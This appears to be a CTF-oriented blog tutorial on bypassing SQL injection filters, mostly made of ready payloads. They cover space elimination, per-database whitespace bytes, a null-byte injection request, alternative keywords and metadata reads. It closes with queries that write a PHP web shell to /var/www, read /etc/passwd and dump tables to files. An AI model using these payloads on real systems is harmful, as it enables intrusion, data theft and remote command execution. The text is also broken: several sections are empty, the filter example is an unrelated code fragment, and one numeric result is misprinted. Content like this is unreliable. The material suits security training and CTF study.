SQL Injection in CTF

4 minute read


Basically, this is part of my in-progress book , which is about tricks of web challenge from basic to advance. There are to many contents to cover in this book, while my time is limited. So, the update might be slow. If you are interested in this book, don’t forget to click subscribe to keep its track.

Quick recap

Let’s recap a simple SQLi:

mysql_query("select * from sample_table where id='" 
+ request.parameter["USER_INPUT"] + "'");

Attacker converts the input from data to instruction through breaking the quotes, and then, it uses SQL command to take out sensitive data.

How does defender mitigate it? These three ways are most common:

  • Sanitize quotes
  • Delete SQL keywords (e.g.SELECT) in the query.
  • Detect keywords and prevent the response.
  • Parameterized Query

The first method is most straightforward, but also low efficient. It does not occur in CTF frequently.

The second method is similar the third method, and there bypass ways are almost the same. But defenser may do wrong in deleting keywords.

The third case, which we will discuss the most, is also the most common challenge type. Defender usually set up regular expressions to filter keywords, e.g. :

} else {
  /* Add parameter to query */

In most situations, we cannot bypass the fourth method. So, we will not discuss much of it.

We recap the causes and simple mitigations of SQLi. Now, let’s discuss possible ways to bypass its protection.

Detailed Tutorial

Database features

For regular expression bypass, the most easy way is find an alternative keyword! Following examples are mostly based on MySQL. However, what I provide you is a way of thinking. If you find something interesting in this chapter, you can probably find that in a database other than MySQL too.

Eliminate space

For those expressions which block space


-- -

There is a special comment in MySQL: MySQL> SELECT * FROM user /*!50110 WHERE id=1*/

It will only executes the WHERE id=1 when MySQL version is greater than 5.01.10 (notice the 50110). If you use /*! WHERE id =1*/, it will execute without checking version.

Mathematics notation

Scientific notation and . allow us to to eliminate space after the number:

SELECT * from sample where id=1e0UNION SELECT * FROM user;
SELECT * from sample where id=1.0UNION SELECT * FROM user;

Notice the 1e0? It’s exactly the same as 1. However, it helps us eliminate space next to it.

When you use syntax ! ~ + - to do numeric calculation, it can replace space before it.

SELECT+1+1; // Return 2
SELECT~1;   // Return 118446744073709551614

Some quotes

""  // select`1`;
''  // too lazy to repeat
``  /* Inside it, string would not be parsed */
    /* e.g. `"aa"` output "aa"               */
@   // It will add a @ in your table name

Special characters & Encode problems

Space replacement

For ASCII characters which match following hex, we can use them to replace space:

SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle 11g: 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

Null byte injection

Sometimes, the WAF is written by C, which means that we can use %00 to prevent the regex from checking following payload:

GET /sqli?id=1%00%22union%20select%20flag%20from%20flag;--

Multibyte character injection

When the charset is multibyte character, we can use it to eat backquote, but we will talk this part in PHP section. If you want to know more now, just google Multibyte character injection or here.

MySQL character collation

This is caused by the difference between the character set of MySQL and PHP(or any other) MySQL client.

SELECT 'Ä'='a';  // Return 1

Alternative keywords
Logic Syntax
and -> &&
or -> ||
= -> like
!= -> not like

MySQL functions

Split string


Concat string


Convert string/number

CONV(61,16,10); # Convert 61 from hex(16) to dec(10)

If , is sanitized

limit 1 offset 0
mid(version() from 1 for 1)

Getting info without brute-force

How do you get current table names? By show tables? Actually, databases have some tables or functions allowing us to read metadata, e.g.

select data from unknown_table union select 1,2,info from information_schema.processlist

This will show our query, which is select data from unknown_table. Therefore, we can get it more easily.

There are many wonderful tables in information_schema:


You can guess their function without searching them.

By the way, by defining a non-exist function, e.g. :

pro_id=a() In MySQL’s error log, you can get the current database

Something other than fetching database

Write a file

If you don’t get flag in database, you probably need to use shell for further exploitation.

SELECT "<? echo passthru($_GET['cmd']); ?>" 
INTO OUTFILE '/var/www/shell.php';

Read a file

SELECT LOAD_FILE('/etc/passwd');
Dump database to a file
SELECT * FROM mytable INTO dumpfile '/tmp/somefile';

Leave a comment